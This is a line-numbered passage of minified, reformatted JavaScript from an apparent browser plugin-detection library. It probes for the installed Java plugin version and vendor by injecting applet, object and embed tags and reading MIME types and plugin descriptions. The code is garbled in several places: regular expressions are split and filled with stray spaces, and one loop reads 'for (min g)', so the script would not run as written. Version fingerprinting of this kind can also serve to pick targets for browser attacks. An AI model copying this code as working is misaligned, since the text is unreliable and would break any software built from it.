  934.             v += i[k] + '="' + i[k + 1] + '" '
  935.           }
  936.           if ((/width/i).test(i[k])){
  937.             j = 0
  938.           }
  939.           if ((/height/i).test(i[k])){
  940.             u = 0
  941.           }
  942.         }
  943.         v += (j ? 'width="' + s.pluginSize + '" ' : "") + (u ? 'height="' + s.pluginSize +
  944.         '" ' : "");
  945.         v += ">";
  946.         for (k = 0; k < g.length; k = k + 2){
  947.           if (/[^\s]/.test(g[k + 1])){
  948.             v += f.openTag + 'param name="' + g[k] + '" value="' + g[k + 1] + '" />'
  949.           }
  950.         }
  951.         v += h + f.openTag + "/" + b + ">"
  952.       }
  953.       else {
  954.         b = "";
  955.         v = h
  956.       }
  957.       if (!o){
  958.         s.initDiv(1)
  959.       }
  960.       var n = o || s.getDiv();
  961.       m = {
  962.         span : null, winLoaded : f.win.loaded, tagName : b, outerHTML : v, DOM : s, time :
  963.         new Date().getTime(), width : s.width, obj : s.obj, readyState : s.readyState,
  964.         objectProperty : s.objectProperty
  965.       }
  966.       ;
  967.       if (n && n.parentNode){
  968.         s.setStyle(p, s.defaultStyle.concat(["display", "inline"]).concat(o ? [] : [
  969.         "fontSize", (s.pluginSize + 3) + "px", "lineHeight", (s.pluginSize + 3) + "px"]));
  970.         n.appendChild(p);
  971.         try {
  972.           p.innerHTML = v
  973.         }
  974.         catch (r){
  975.         }
  976.         ;
  977.         m.span = p;
  978.         m.winLoaded = f.win.loaded
  979.       }
  980.       return m
  981.     }
  982.   }
  983.   , file : {
  984.     $ : 1, any : "fileStorageAny999", valid : "fileStorageValid999", save : function (d, f
  985.     , c){
  986.       var b = this , e = b.$, a;
  987.       if (d && e.isDefined(c)){
  988.         if (!d[b.any]){
  989.           d[b.any] = []
  990.         }
  991.         if (!d[b.valid]){
  992.           d[b.valid] = []
  993.         }
  994.         d[b.any].push(c);
  995.         a = b.split(f, c);
  996.         if (a){
  997.           d[b.valid].push(a)
  998.         }
  999.       }
  1000.     }
  1001.     , getValidLength : function (a){
  1002.       return a && a[this .valid] ? a[this .valid].length : 0
  1003.     }
  1004.     , getAnyLength : function (a){
  1005.       return a && a[this .any] ? a[this .any].length : 0
  1006.     }
  1007.     , getValid : function (c, a){
  1008.       var b = this ;
  1009.       return c && c[b.valid] ? b.get(c[b.valid], a) : null
  1010.     }
  1011.     , getAny : function (c, a){
  1012.       var b = this ;
  1013.       return c && c[b.any] ? b.get(c[b.any], a) : null
  1014.     }
  1015.     , get : function (d, a){
  1016.       var c = d.length - 1, b = this .$.isNum(a) ? a : c;
  1017.       return (b < 0 || b > c) ? null : d[b]
  1018.     }
  1019.     , split : function (g, c){
  1020.       var b = this , e = b.$, f = null, a, d;
  1021.       g = g ? g.replace(".", "\.") : "";
  1022.       d = new RegExp("^(.*[^\/])(" + g + "\s*)$");
  1023.       if (e.isString(c) && d.test(c)){
  1024.         a = (RegExp.$1).split("/");
  1025.         f = {
  1026.           name : a[a.length - 1], ext : RegExp.$2, full : c
  1027.         }
  1028.         ;
  1029.         a[a.length - 1] = "";
  1030.         f.path = a.join("/")
  1031.       }
  1032.       return f
  1033.     }
  1034.     , z : 0
  1035.   }
  1036.   , Plugins : {
  1037.     java : {
  1038.       $ : 1, mimeType : ["application/x-java-applet", "application/x-java-vm",
  1039.       "application/x-java-bean"], mimeType_dummy : "application/dummymimejavaapplet",
  1040.       classID : "clsid:8AD9C840-044E-11D1-B3E9-00805F499D93", classID_dummy :
  1041.       "clsid:8AD9C840-044E-11D1-B3E9-BA9876543210", navigator : {
  1042.         $ : 1, a : (function (){
  1043.           var b, a =! 0;
  1044.           try {
  1045.             a = window.navigator.javaEnabled()
  1046.           }
  1047.           catch (b){
  1048.           }
  1049.           return a
  1050.         }
  1051.         )(), javaEnabled : function (){
  1052.           return this .a
  1053.         }
  1054.         , mimeObj : 0, pluginObj : 0
  1055.       }
  1056.       , OTF : null, getVerifyTagsDefault : function (){
  1057.         return [1, this .applet.isDisabled.VerifyTagsDefault_1() ? 0 : 1, 1]
  1058.       }
  1059.       , getVersion : function (j, g, i){
  1060.         var b = this , d = b.$, e, a = b.applet, h = b.verify, k = b.navigator, f = null,
  1061.         l = null, c = null;
  1062.         if (b.getVersionDone === null){
  1063.           b.OTF = 0;
  1064.           k.mimeObj = d.hasMimeType(b.mimeType);
  1065.           if (k.mimeObj){
  1066.             k.pluginObj = k.mimeObj.enabledPlugin
  1067.           }
  1068.           if (h){
  1069.             h.begin()
  1070.           }
  1071.         }
  1072.         a.setVerifyTagsArray(i);
  1073.         d.file.save(b, ".jar", g);
  1074.         if (b.getVersionDone === 0){
  1075.           if (a.should_Insert_Query_Any()){
  1076.             e = a.insert_Query_Any(j);
  1077.             b.setPluginStatus(e[0], e[1], f, j)
  1078.           }
  1079.           return
  1080.         }
  1081.         if ((!f || d.dbug) && b.navMime.query().version){
  1082.           f = b.navMime.version
  1083.         }
  1084.         if ((!f || d.dbug) && b.DTK.query(d.dbug).version){
  1085.           f = b.DTK.version
  1086.         }
  1087.         if ((!f || d.dbug) && b.navPlugin.query().version){
  1088.           f = b.navPlugin.version
  1089.         }
  1090.         if (b.nonAppletDetectionOk(f)){
  1091.           c = f
  1092.         }
  1093.         b.setPluginStatus(c, l, f, j);
  1094.         if (a.should_Insert_Query_Any()){
  1095.           e = a.insert_Query_Any(j);
  1096.           if (e[0]){
  1097.             c = e[0];
  1098.             l = e[1]
  1099.           }
  1100.         }
  1101.         b.setPluginStatus(c, l, f, j)
  1102.       }
  1103.       , nonAppletDetectionOk : function (b){
  1104.         var d = this , e = d.$, a = d.navigator, c = 1;
  1105.         if (!b ||! a.javaEnabled() || (!e.isIE &&! a.mimeObj) || (e.isIE &&! e.
  1106.         ActiveXEnabled)){
  1107.           c = 0
  1108.         }
  1109.         else {
  1110.           if (e.OS >= 20){
  1111.           }
  1112.           else {
  1113.             if (d.info && d.info.getPlugin2Status() < 0 && d.info.BrowserRequiresPlugin2
  1114.             ()){
  1115.               c = 0
  1116.             }
  1117.           }
  1118.         }
  1119.         return c
  1120.       }
  1121.       , setPluginStatus : function (d, i, g, h){
  1122.         var b = this , e = b.$, f, c = 0, a = b.applet;
  1123.         g = g || b.version0;
  1124.         f = a.isRange(d);
  1125.         if (f){
  1126.           if (a.setRange(f, h) == d){
  1127.             c = f
  1128.           }
  1129.           d = 0
  1130.         }
  1131.         if (b.OTF < 3){
  1132.           b.installed = c ? (c > 0 ? 0.7 :- 0.1) : (d ? 1 : (g ?- 0.2 :- 1))
  1133.         }
  1134.         if (b.OTF == 2 && b.NOTF &&! b.applet.getResult()[0]){
  1135.           b.installed = g ?- 0.2 :- 1
  1136.         }
  1137.         if (b.OTF == 3 && b.installed !=- 0.5 && b.installed != 0.5){
  1138.           b.installed = (b.NOTF.isJavaActive(1) == 1 ? 0.5 :- 0.5)
  1139.         }
  1140.         if (b.OTF == 4 && (b.installed ==- 0.5 || b.installed == 0.5)){
  1141.           if (d){
  1142.             b.installed = 1
  1143.           }
  1144.           else {
  1145.             if (c){
  1146.               b.installed = c > 0 ? 0.7 :- 0.1
  1147.             }
  1148.             else {
  1149.               if (b.NOTF.isJavaActive(1) == 1){
  1150.                 if (g){
  1151.                   b.installed = 1;
  1152.                   d = g
  1153.                 }
  1154.                 else {
  1155.                   b.installed = 0
  1156.                 }
  1157.               }
  1158.               else {
  1159.                 if (g){
  1160.                   b.installed =- 0.2
  1161.                 }
  1162.                 else {
  1163.                   b.installed =- 1
  1164.                 }
  1165.               }
  1166.             }
  1167.           }
  1168.         }
  1169.         if (g){
  1170.           b.version0 = e.formatNum(e.getNum(g))
  1171.         }
  1172.         if (d &&! c){
  1173.           b.version = e.formatNum(e.getNum(d))
  1174.         }
  1175.         if (i && e.isString(i)){
  1176.           b.vendor = i
  1177.         }
  1178.         if (!b.vendor){
  1179.           b.vendor = ""
  1180.         }
  1181.         if (b.verify && b.verify.isEnabled()){
  1182.           b.getVersionDone = 0
  1183.         }
  1184.         else {
  1185.           if (b.getVersionDone != 1){
  1186.             if (b.OTF < 2){
  1187.               b.getVersionDone = 0
  1188.             }
  1189.             else {
  1190.               b.getVersionDone = b.applet.can_Insert_Query_Any() ? 0 : 1
  1191.             }
  1192.           }
  1193.         }
  1194.         ;
  1195.         e.codebase.emptyGarbage()
  1196.       }
  1197.       , DTK : {
  1198.         $ : 1, hasRun : 0, status : null, VERSIONS : [], version : "", HTML : null,
  1199.         Plugin2Status : null, classID : ["clsid:CAFEEFAC-DEC7-0000-0001-ABCDEFFEDCBA",
  1200.         "clsid:CAFEEFAC-DEC7-0000-0000-ABCDEFFEDCBA"], mimeType : [
  1201.         "application/java-deployment-toolkit",
  1202.         "application/npruntime-scriptable-plugin;DeploymentToolkit"], isDisabled :
  1203.         function (a){
  1204.           var b = this , c = b.$;
  1205.           if (!a && (!c.DOM.isEnabled.objectTag() || (c.isIE && c.verIE < 6) || (c.isGecko
  1206.            && c.compareNums(c.verGecko, c.formatNum("1.6")) <= 0) || (c.isSafari && c.OS ==
  1207.           1 && (!c.verSafari || c.compareNums(c.verSafari, "5,1,0,0") < 0)) || c.isChrome
  1208.           )){
  1209.             return 1
  1210.           }
  1211.           return 0
  1212.         }
  1213.         , query : function (n){
  1214.           var l = this , h = l.$, f = l.$$, k, m, i, a = h.DOM.altHTML, g = {
  1215.           }
  1216.           , b, d = null, j = null, c = (l.hasRun || l.isDisabled(n));
  1217.           l.hasRun = 1;
  1218.           if (c){
  1219.             return l
  1220.           }
  1221.           l.status = 0;
  1222.           if (h.isIE){
  1223.             for (m = 0; m < l.classID.length; m ++ ){
  1224.               l.HTML = h.DOM.insert("object", ["classid", l.classID[m]], [], a);
  1225.               d = l.HTML.obj();
  1226.               if (h.getPROP(d, "jvms")){
  1227.                 break
  1228.               }
  1229.             }
  1230.           }
  1231.           else {
  1232.             i = h.hasMimeType(l.mimeType);
  1233.             if (i && i.type){
  1234.               l.HTML = h.DOM.insert("object", ["type", i.type], [], a);
  1235.               d = l.HTML.obj()
  1236.             }
  1237.           }
  1238.           if (d){
  1239.             try {
  1240.               b = h.getPROP(d, "jvms");
  1241.               if (b){
  1242.                 j = b.getLength();
  1243.                 if (h.isNum(j)){
  1244.                   l.status = j > 0 ? 1 :- 1;
  1245.                   for (m = 0; m < j; m ++ ){
  1246.                     i = h.getNum(b.get(j - 1 - m).version);
  1247.                     if (i){
  1248.                       l.VERSIONS.push(i);
  1249.                       g["a" + h.formatNum(i)] = 1
  1250.                     }
  1251.                   }
  1252.                 }
  1253.               }
  1254.             }
  1255.             catch (k){
  1256.             }
  1257.           }
  1258.           i = 0;
  1259.           for (min g){
  1260.             i ++
  1261.           }
  1262.           if (i && i !== l.VERSIONS.length){
  1263.             l.VERSIONS = []
  1264.           }
  1265.           if (l.VERSIONS.length){
  1266.             l.version = h.formatNum(l.VERSIONS[0])
  1267.           }
  1268.           ;
  1269.           return l
  1270.         }
  1271.       }
  1272.       , navMime : {
  1273.         $ : 1, hasRun : 0, mimetype : "", version : "", length : 0, mimeObj : 0, pluginObj
  1274.          : 0, isDisabled : function (){
  1275.           var b = this , d = b.$, c = b.$$, a = c.navigator;
  1276.           if (d.isIE ||! a.mimeObj ||! a.pluginObj){
  1277.             return 1
  1278.           }
  1279.           return 0
  1280.         }
  1281.         , query : function (){
  1282.           var i = this , f = i.$, a = i.$$, b = (i.hasRun || i.isDisabled());
  1283.           i.hasRun = 1;
  1284.           if (b){
  1285.             return i
  1286.           }
  1287.           ;
  1288.           var n =/^\ s * application \/ x - java - applet;
  1289.           jpi - version \ s *=\ s * ( \ d. * )$ / i, g, l, j, d = "", h = "a", o, m, k =
  1290.           {
  1291.           }
  1292.           , c = f.formatNum("0");
  1293.           for (l = 0; l < navigator.mimeTypes.length; l ++ ){
  1294.             o = navigator.mimeTypes[l];
  1295.             m = o ? o.enabledPlugin : 0;
  1296.             g = o && n.test(o.type || d) ? f.formatNum(f.getNum(RegExp.$1)) : 0;
  1297.             if (g && m && (m.description || m.name)){
  1298.               if (!k[h + g]){
  1299.                 i.length ++
  1300.               }
  1301.               k[h + g] = o.type;
  1302.               if (f.compareNums(g, c) > 0){
  1303.                 c = g
  1304.               }
  1305.             }
  1306.           }
  1307.           g = k[h + c];
  1308.           if (g){
  1309.             o = f.hasMimeType(g);
  1310.             i.mimeObj = o;
  1311.             i.pluginObj = o ? o.enabledPlugin : 0;
  1312.             i.mimetype = g;
  1313.             i.version = c
  1314.           }
  1315.           ;
  1316.           return i
  1317.         }
  1318.       }
  1319.       , navPlugin : {
  1320.         $ : 1, hasRun : 0, version : "", isDisabled : function (){
  1321.           var d = this , c = d.$, b = d.$$, a = b.navigator;
  1322.           if (c.isIE ||! a.mimeObj ||! a.pluginObj){
  1323.             return 1
  1324.           }
  1325.           return 0
  1326.         }
  1327.         , query : function (){
  1328.           var m = this , e = m.$, c = m.$$, h = c.navigator, j, l, k, g, d, a, i, f = 0, b
  1329.            = (m.hasRun || m.isDisabled());
  1330.           m.hasRun = 1;
  1331.           if (b){
  1332.             return m
  1333.           }
  1334.           ;
  1335.           a = h.pluginObj.name || "";
  1336.           i = h.pluginObj.description || "";
  1337.           if (!f || e.dbug){
  1338.             g =/ Java. * TM. * Platform[ ^\ d] * ( \ d + )( ?: [ \ ., _]( \ d * )) ? ( ?:\
  1339.             s * [Update] +\ s * ( \ d * )) ?/ i;
  1340.             if ((g.test(a) || g.test(i)) && parseInt(RegExp.$1, 10) >= 5){
  1341.               f = "1," + RegExp.$1 + "," + (RegExp.$2 ? RegExp.$2 : "0") + "," + (RegExp.
  1342.               $3 ? RegExp.$3 : "0")
  1343.             }
  1344.           }
  1345.           if (!f || e.dbug){
  1346.             g =/ Java[ ^\ d] * Plug - in  / i;
  1347.             l = g.test(i) ? e.formatNum(e.getNum(i)) : 0;
  1348.             k = g.test(a) ? e.formatNum(e.getNum(a)) : 0;
  1349.             if (l && (e.compareNums(l, e.formatNum("1,3")) < 0 || e.compareNums(l, e.
  1350.             formatNum("2")) >= 0)){
  1351.               l = 0
  1352.             }
  1353.             if (k && (e.compareNums(k, e.formatNum("1,3")) < 0 || e.compareNums(k, e.
  1354.             formatNum("2")) >= 0)){
  1355.               k = 0
  1356.             }
  1357.             d = l && k ? (e.compareNums(l, k) > 0 ? l : k) : (l || k);
  1358.             if (d){
  1359.               f = d
  1360.             }
  1361.           }
  1362.           if (!f && e.isSafari && e.OS == 2){
  1363.             j = e.findNavPlugin("Java.*\d.*Plug-in.*Cocoa", 0);
  1364.             if (j){
  1365.               l = e.getNum(j.description);
  1366.               if (l){
  1367.                 f = l
  1368.               }
  1369.             }
  1370.           }
  1371.           ;
  1372.           if (f){
  1373.             m.version = e.formatNum(f)
  1374.           }
  1375.           ;
  1376.           return m
  1377.         }
  1378.       }
  1379.       , applet : {
  1380.         $ : 1, codebase : {
  1381.           $ : 1, isMin : function (a){
  1382.             return this .$.codebase.isMin(this , a)
  1383.           }
  1384.           , search : function (){
  1385.             return this .$.codebase.search(this )
  1386.           }
  1387.           , ParamTags :
  1388.           '<param name="code" value="A19999.class" /><param name="codebase_lookup" value="false" />'
  1389.           , DIGITMAX : [[16, 64], [6, 0, 512], 0, [1, 5, 2, 256], 0, [1, 4, 1, 1], [1, 4,
  1390.           0, 64], [1, 3, 2, 32]], DIGITMIN : [1, 0, 0, 0], Upper : ["999", "10", "5,0,20",
  1391.           "1,5,0,20", "1,4,1,20", "1,4,1,2", "1,4,1", "1,4"], Lower : ["10", "5,0,20",
  1392.           "1,5,0,20", "1,4,1,20", "1,4,1,2", "1,4,1", "1,4", "0"], convert : [function (b,
  1393.           a){
  1394.             return a ? [parseInt(b[0], 10) > 1 ? "99" : parseInt(b[1], 10) + 3 + "", b[3],
  1395.             "0", "0"] : ["1", parseInt(b[0], 10) - 3 + "", "0", b[1]]
  1396.           }
  1397.           , function (b, a){
  1398.             return a ? [b[1], b[2], b[3] + "0", "0"] : ["1", b[0], b[1], b[2].substring(0,
  1399.             b[2].length - 1 || 1)]
  1400.           }
  1401.           , 0, function (b, a){
  1402.             return a ? [b[0], b[1], b[2], b[3] + "0"] : [b[0], b[1], b[2], b[3].substring(
  1403.             0, b[3].length - 1 || 1)]
  1404.           }
  1405.           , 0, 1, function (b, a){
  1406.             return a ? [b[0], b[1], b[2], b[3] + "0"] : [b[0], b[1], b[2], b[3].substring(
  1407.             0, b[3].length - 1 || 1)]
  1408.           }
  1409.           , 1]
  1410.         }
  1411.         , results : [[null, null], [null, null], [null, null], [null, null]], getResult :
  1412.         function (){
  1413.           var b = this , d = b.results, a, c = [];
  1414.           for (a = d.length - 1; a >= 0; a -- ){
  1415.             c = d[a];
  1416.             if (c[0]){
  1417.               break
  1418.             }
  1419.           }
  1420.           c = [].concat(c);
  1421.           return c
  1422.         }
  1423.         , DummySpanTagHTML : 0, HTML : [0, 0, 0, 0], active : [0, 0, 0, 0],
  1424.         DummyObjTagHTML : 0, DummyObjTagHTML2 : 0, allowed : [1, 1, 1, 1], VerifyTagsHas :
  1425.         function (c){
  1426.           var d = this , b;
  1427.           for (b = 0; b < d.allowed.length; b ++ ){
  1428.             if (d.allowed[b] === c){
  1429.               return 1
  1430.             }
  1431.           }
  1432.           return 0
  1433.         }
  1434.         , saveAsVerifyTagsArray : function (c){
  1435.           var b = this , d = b.$, a;
  1436.           if (d.isArray(c)){
  1437.             for (a = 1; a < b.allowed.length; a ++ ){
  1438.               if (c.length > a - 1 && d.isNum(c[a - 1])){
  1439.                 if (c[a - 1] < 0){
  1440.                   c[a - 1] = 0
  1441.                 }
  1442.                 if (c[a - 1] > 3){
  1443.                   c[a - 1] = 3
  1444.                 }
  1445.                 b.allowed[a] = c[a - 1]
  1446.               }
  1447.             }
  1448.             b.allowed[0] = b.allowed[3]
  1449.           }
  1450.         }
  1451.         , setVerifyTagsArray : function (d){
  1452.           var b = this , c = b.$, a = b.$$;
  1453.           if (a.getVersionDone === null){
  1454.             b.saveAsVerifyTagsArray(a.getVerifyTagsDefault())
  1455.           }
  1456.           if (c.dbug){
  1457.             b.saveAsVerifyTagsArray([3, 3, 3])
  1458.           }
  1459.           else {
  1460.             if (d){
  1461.               b.saveAsVerifyTagsArray(d)
  1462.             }
  1463.           }
  1464.         }
  1465.         , isDisabled : {
  1466.           $ : 1, single : function (d){
  1467.             var a = this , c = a.$, b = a.$$;
  1468.             if (d == 0){
  1469.               return c.codebase.isDisabled()
  1470.             }
  1471.             if ((d == 3 &&! c.isIE) || a.all()){
  1472.               return 1
  1473.             }
  1474.             if (d == 1 || d == 3){
  1475.               return !c.DOM.isEnabled.objectTag()
  1476.             }
  1477.             if (d == 2){
  1478.               return a.AppletTag()
  1479.             }
  1480.           }
  1481.           , aA_ : null, all : function (){
  1482.             var c = this , e = c.$, d = c.$$, b = d.navigator, a = 0;
  1483.             if (c.aA_ === null){
  1484.               if (e.OS >= 20){
  1485.                 a = 0
  1486.               }
  1487.               else {
  1488.                 if (e.verOpera && e.verOpera < 11 &&! b.javaEnabled()){
  1489.                   a = 1
  1490.                 }
  1491.                 else {
  1492.                   if ((e.verGecko && e.compareNums(e.verGecko, e.formatNum("2")) < 0) &&!
  1493.                   b.mimeObj){
  1494.                     a = 1
  1495.                   }
  1496.                   else {
  1497.                     if (c.AppletTag() &&! e.DOM.isEnabled.objectTag()){
  1498.                       a = 1
  1499.                     }
  1500.                   }
  1501.                 }
  1502.               }
  1503.               ;
  1504.               c.aA_ = a
  1505.             }
  1506.             return c.aA_
  1507.           }
  1508.           , AppletTag : function (){
  1509.             var b = this , d = b.$, c = b.$$, a = c.navigator;
  1510.             return d.isIE ?! a.javaEnabled() : 0
  1511.           }
  1512.           , VerifyTagsDefault_1 : function (){
  1513.             var a = this .$;
  1514.             if (a.OS >= 20){
  1515.               return 1
  1516.             }
  1517.             if ((a.isIE && (a.verIE < 9 ||! a.ActiveXEnabled)) || (a.verGecko && a.
  1518.             compareNums(a.verGecko, a.formatNum("2")) < 0) || (a.isSafari && (!a.verSafari
  1519.              || a.compareNums(a.verSafari, a.formatNum("4")) < 0)) || (a.verOpera && a.
  1520.             verOpera < 10)){
  1521.               return 0
  1522.             }
  1523.             return 1
  1524.           }
  1525.           , z : 0
  1526.         }
  1527.         , can_Insert_Query : function (d){
  1528.           var b = this , c = b.results[0][0], a = b.getResult()[0];
  1529.           if (b.HTML[d] || (d == 0 && c !== null &&! b.isRange(c)) || (d == 0 && a &&! b.
  1530.           isRange(a))){
  1531.             return 0
  1532.           }
  1533.           return !b.isDisabled.single(d)
  1534.         }
  1535.         , can_Insert_Query_Any : function (){
  1536.           var b = this , a;
  1537.           for (a = 0; a < b.results.length; a ++ ){
  1538.             if (b.can_Insert_Query(a)){
  1539.               return 1
  1540.             }
  1541.           }
  1542.           return 0
  1543.         }
  1544.         , should_Insert_Query : function (e){
  1545.           var c = this , f = c.allowed, d = c.$, b = c.$$, a = c.getResult()[0];
  1546.           a = a && (e > 0 ||! c.isRange(a));
  1547.           if (!c.can_Insert_Query(e) || f[e] === 0){
  1548.             return 0
  1549.           }
  1550.           if (f[e] == 3 || (f[e] == 2.8 &&! a)){
  1551.             return 1
  1552.           }
  1553.           if (!b.nonAppletDetectionOk(b.version0)){
  1554.             if (f[e] == 2 || (f[e] == 1 &&! a)){
  1555.               return 1
  1556.             }
  1557.           }
  1558.           return 0
  1559.         }
  1560.         , should_Insert_Query_Any : function (){
  1561.           var b = this , a;
  1562.           for (a = 0; a < b.allowed.length; a ++ ){
  1563.             if (b.should_Insert_Query(a)){
  1564.               return 1
  1565.             }
  1566.           }
  1567.           return 0
  1568.         }
  1569.         , query : function (f){
  1570.           var j, a = this , i = a.$, d = a.$$, k = null, l = null, b = a.results, c, h, g =
  1571.           a.HTML[f];
  1572.           if (!g ||! g.obj() || b[f][0] || d.bridgeDisabled || (i.dbug && d.OTF < 3)){
  1573.             return
  1574.           }
  1575.           c = g.obj();
  1576.           h = g.readyState();
  1577.           if (!i.isIE || h === 4){
  1578.             try {
  1579.               k = i.getNum(c.getVersion() + "");
  1580.               l = c.getVendor() + "";
  1581.               c.statusbar(i.win.loaded ? " " : " ")
  1582.             }
  1583.             catch (j){
  1584.             }
  1585.             ;
  1586.             if (k && i.isStrNum(k)){
  1587.               b[f] = [k, l];
  1588.               a.active[f] = 2
  1589.             }
  1590.           }
  1591.         }
  1592.         , isRange : function (a){
  1593.           return (/^[<>]/).test(a || "") ? (a.charAt(0) == ">" ? 1 :- 1) : 0
  1594.         }
  1595.         , setRange : function (b, a){
  1596.           return (b ? (b > 0 ? ">" : "<") : "") + (this .$.isString(a) ? a : "")
  1597.         }
  1598.         , insertJavaTag : function (g, n, h, o, m){
  1599.           var e = this , c = e.$, k = e.$$, r = "A.class", b = c.file.getValid(k), f = b.
  1600.           name + b.ext, q = b.path;
  1601.           var i = ["archive", f, "code", r], l = (o ? ["width", o] : []).concat(m ? [
  1602.           "height", m] : []), j = ["mayscript", "true"], p = ["scriptable", "true",
  1603.           "codebase_lookup", "false"].concat(j), a = k.navigator, d =! c.isIE && a.mimeObj
  1604.            && a.mimeObj.type ? a.mimeObj.type : k.mimeType[0];
  1605.           if (g == 1){
  1606.             return c.isIE ? c.DOM.insert("object", ["type", d].concat(l), ["codebase", q].
  1607.             concat(i).concat(p), h, k, 0, n) : c.DOM.insert("object", ["type", d].concat(l
  1608.             ), ["codebase", q].concat(i).concat(p), h, k, 0, n)
  1609.           }
  1610.           if (g == 2){
  1611.             return c.isIE ? c.DOM.insert("applet", ["alt", h].concat(j).concat(i).concat(l
  1612.             ), ["codebase", q].concat(p), h, k, 0, n) : c.DOM.insert("applet", ["codebase"
  1613.             , q, "alt", h].concat(j).concat(i).concat(l), [].concat(p), h, k, 0, n)
  1614.           }
  1615.           if (g == 3){
  1616.             return c.isIE ? c.DOM.insert("object", ["classid", k.classID].concat(l), [
  1617.             "codebase", q].concat(i).concat(p), h, k, 0, n) : c.DOM.insert()
  1618.           }
  1619.           if (g == 4){
  1620.             return c.DOM.insert("embed", ["codebase", q].concat(i).concat(["type", d]).
  1621.             concat(p).concat(l), [], h, k, 0, n)
  1622.           }
  1623.         }
  1624.         , insert_Query_Any : function (i){
  1625.           var b = this , d = b.$, c = b.$$, g = b.results, j = b.HTML, a = d.DOM.altHTML,
  1626.           e, h = d.file.getValid(c);
  1627.           if (b.should_Insert_Query(0)){
  1628.             if (c.OTF < 2){
  1629.               c.OTF = 2
  1630.             }
  1631.             ;
  1632.             g[0] = [0, 0];
  1633.             e = i ? b.codebase.isMin(i) : b.codebase.search();
  1634.             if (e){
  1635.               g[0][0] = i ? b.setRange(e, i) : e
  1636.             }
  1637.             b.active[0] = e ? 1.5 :- 1
  1638.           }
  1639.           if (!h){
  1640.             return b.getResult()
  1641.           }
  1642.           if (!b.DummySpanTagHTML){
  1643.             b.DummySpanTagHTML = d.DOM.insert("", [], [], a)
  1644.           }
  1645.           if (b.should_Insert_Query(1)){
  1646.             if (c.OTF < 2){
  1647.               c.OTF = 2
  1648.             }
  1649.             ;
  1650.             j[1] = b.insertJavaTag(1, 0, a);
  1651.             g[1] = [0, 0];
  1652.             b.query(1)
  1653.           }
  1654.           if (b.should_Insert_Query(2)){
  1655.             if (c.OTF < 2){
  1656.               c.OTF = 2
  1657.             }
  1658.             ;
  1659.             j[2] = b.insertJavaTag(2, 0, a);
  1660.             g[2] = [0, 0];
  1661.             b.query(2)
  1662.           }
  1663.           if (b.should_Insert_Query(3)){
  1664.             if (c.OTF < 2){
  1665.               c.OTF = 2
  1666.             }
  1667.             ;
  1668.             j[3] = b.insertJavaTag(3, 0, a);
  1669.             g[3] = [0, 0];
  1670.             b.query(3)
  1671.           }
  1672.           if (d.DOM.isEnabled.objectTag()){
  1673.             if (!b.DummyObjTagHTML && (j[1] || j[2])){
  1674.               b.DummyObjTagHTML = d.DOM.insert("object", ["type", c.mimeType_dummy], [], a
  1675.               )
  1676.             }
  1677.             if (!b.DummyObjTagHTML2 && j[3]){
  1678.               b.DummyObjTagHTML2 = d.DOM.insert("object", ["classid", c.classID_dummy], []
  1679.               , a)
  1680.             }
  1681.           }
  1682.           var f = c.NOTF;
  1683.           if (c.OTF < 3 && f.shouldContinueQuery()){
  1684.             c.OTF = 3;
  1685.             f.onIntervalQuery = d.ev.handler(f.$$onIntervalQuery, f);
  1686.             if (!d.win.loaded){
  1687.               d.win.funcs0.push([f.winOnLoadQuery, f])
  1688.             }
  1689.             setTimeout(f.onIntervalQuery, f.intervalLength)
  1690.           }
  1691.           return b.getResult()
  1692.         }
  1693.       }
  1694.       , NOTF : {
  1695.         $ : 1, count : 0, countMax : 25, intervalLength : 250, shouldContinueQuery :
  1696.         function (){
  1697.           var f = this , e = f.$, c = f.$$, b = c.applet, a, d = 0;
  1698.           if (e.win.loaded && f.count > f.countMax){
  1699.             return 0
  1700.           }
  1701.           for (a = 0; a < b.results.length; a ++ ){
  1702.             if (b.HTML[a]){
  1703.               if (!e.win.loaded && f.count > f.countMax && e.codebase.checkGarbage(b.HTML[
  1704.               a].span)){
  1705.                 d = 1;
  1706.                 b.HTML[a].DELETE = 1
  1707.               }
  1708.               if (!d &&! b.results[a][0] && (b.allowed[a] >= 2 || (b.allowed[a] == 1 &&! b
  1709.               .getResult()[0])) && f.isAppletActive(a) >= 0){
  1710.                 return 1
  1711.               }
  1712.             }
  1713.           }
  1714.           ;
  1715.           return 0
  1716.         }
  1717.         , isJavaActive : function (d){
  1718.           var f = this , c = f.$$, a, b, e =- 9;
  1719.           for (a = 0; a < c.applet.HTML.length; a ++ ){
  1720.             b = f.isAppletActive(a, d);
  1721.             if (b > e){
  1722.               e = b
  1723.             }
  1724.           }
  1725.           return e
  1726.         }
  1727.         , isAppletActive : function (e, g){
  1728.           var h = this , f = h.$, b = h.$$, l = b.navigator, a = b.applet, i = a.HTML[e],
  1729.           d = a.active, k, c = 0, j, m = d[e];
  1730.           if (g || m >= 1.5 ||! i ||! i.span){
  1731.             return m
  1732.           }
  1733.           ;
  1734.           j = f.DOM.getTagStatus(i, a.DummySpanTagHTML, a.DummyObjTagHTML, a.
  1735.           DummyObjTagHTML2, h.count);
  1736.           for (k = 0; k < d.length; k ++ ){
  1737.             if (d[k] > 0){
  1738.               c = 1
  1739.             }
  1740.           }
  1741.           if (j != 1){
  1742.             m = j
  1743.           }
  1744.           else {
  1745.             if (f.isIE || (b.version0 && l.javaEnabled() && l.mimeObj && (i.tagName ==
  1746.             "object" || c))){
  1747.               m = 1
  1748.             }
  1749.             else {
  1750.               m = 0
  1751.             }
  1752.           }
  1753.           d[e] = m;
  1754.           return m
  1755.         }
  1756.         , winOnLoadQuery : function (c, d){
  1757.           var b = d.$$, a;
  1758.           if (b.OTF == 3){
  1759.             a = d.queryAllApplets();
  1760.             d.queryCompleted(a)
  1761.           }
  1762.         }
  1763.         , $$onIntervalQuery : function (d){
  1764.           var c = d.$, b = d.$$, a;
  1765.           if (b.OTF == 3){
  1766.             a = d.queryAllApplets();
  1767.             if (!d.shouldContinueQuery()){
  1768.               d.queryCompleted(a)
  1769.             }
  1770.           }
  1771.           d.count++;
  1772.           if (b.OTF == 3){
  1773.             setTimeout(d.onIntervalQuery, d.intervalLength)
  1774.           }
  1775.         }
  1776.         , queryAllApplets : function (){
  1777.           var f = this , e = f.$, d = f.$$, c = d.applet, b, a;
  1778.           for (b = 0; b < c.results.length; b ++ ){
  1779.             c.query(b)
  1780.           }
  1781.           a = c.getResult();
  1782.           return a
  1783.         }
  1784.         , queryCompleted : function (c){
  1785.           var g = this , f = g.$, e = g.$$, d = e.applet, b;
  1786.           if (e.OTF >= 4){
  1787.             return
  1788.           }
  1789.           e.OTF = 4;
  1790.           var a = g.isJavaActive();
